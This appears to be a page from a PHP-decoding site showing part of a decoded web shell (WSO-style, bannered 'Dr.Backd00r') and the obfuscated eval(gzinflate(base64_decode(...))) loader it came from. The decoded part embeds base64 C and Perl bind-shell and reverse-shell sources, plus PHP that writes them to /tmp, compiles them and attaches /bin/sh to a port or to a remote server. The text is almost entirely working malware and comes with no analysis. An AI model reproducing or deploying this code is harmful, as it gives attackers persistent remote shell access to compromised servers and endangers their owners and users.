    $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; 
    $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; 
    $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9"; 
    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; 
    ?> 
    <h1>Network tools</h1><div class=content> 
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;"> 
    <span>Bind port to /bin/sh</span><br/> 
    Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>"> 
    </form> 
    <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;"> 
    <span>Back-connect to</span><br/> 
    Server: <input type='text' name='server' value='<?=$_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>"> 
    </form><br> 
    <?php 
    if(isset($_POST['p1'])) { 
        function cf($f,$t) { 
            $w=@fopen($f,"w") or @function_exists('file_put_contents'); 
            if($w)    { 
                @fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t)); 
                @fclose($w); 
            } 
        } 
        if($_POST['p1'] == 'bpc') { 
            cf("/tmp/bp.c",$bind_port_c); 
            $out = ex("gcc -o /tmp/bp /tmp/bp.c"); 
            @unlink("/tmp/bp.c"); 
            $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>"; 
        } 
        if($_POST['p1'] == 'bpp') { 
            cf("/tmp/bp.pl",$bind_port_p); 
            $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>"; 
        } 
        if($_POST['p1'] == 'bcc') { 
            cf("/tmp/bc.c",$back_connect_c); 
            $out = ex("gcc -o /tmp/bc /tmp/bc.c"); 
            @unlink("/tmp/bc.c"); 
            $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>"; 
        } 
        if($_POST['p1'] == 'bcp') { 
            cf("/tmp/bc.pl",$back_connect_p); 
            $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &"); 
            echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>"; 
        } 
    } 
    echo '</div>'; 
    printFooter(); 
} 
if( empty($_POST['a']) ) 
    if(isset($default_action) && function_exists('action' . $default_action)) 
        $_POST['a'] = $default_action; 
    else 
        $_POST['a'] = 'SecInfo'; 
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) 
    call_user_func('action' . $_POST['a']); 
?> 
<div id="cot_tl_fixed"><marquee>Shell - *Dr.Backd00r*  - SubhashDasyam.com</marquee></div> 
 </marquee></div>

Did this file decode correctly?

Original Code

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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